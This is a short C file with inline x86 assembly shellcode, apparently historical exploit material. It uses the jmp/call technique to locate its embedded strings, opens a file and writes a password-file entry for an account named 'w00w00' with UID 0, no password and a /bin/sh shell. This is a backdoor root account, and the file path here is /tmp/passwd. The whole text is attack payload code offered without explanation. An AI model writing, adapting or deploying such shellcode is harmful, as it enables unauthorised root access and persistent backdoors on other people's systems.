main()
{
   asm("
  
    jmp 43
    popl %esi
    xorl %eax,%eax
    movb %eax,11(%esi)
    movb %eax,41(%esi)
    pushl %eax
    movb $9,%al
    pushl %eax
    xorl %eax,%eax
    pushl %esi
    pushl %eax
    movb $0x5,%al
    int $0x80

    movl %eax,%ebx
    pushl $29
    leal 12(%esi),%eax
    pushl %eax
    pushl %ebx
    pushl %eax
    xorl %eax,%eax
    movb $0x4,%al
    int $0x80

    xorl %eax,%eax
    movb $0x1,%al
    int $0x80
  
  
  
  chaine:
      call   -48
      .ascii \"/tmp/passwd0\"
      .ascii \"w00w00::0:0:w00w00:/:/bin/sh\n0\"  # 29
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
      .byte 0x00
  ");
}
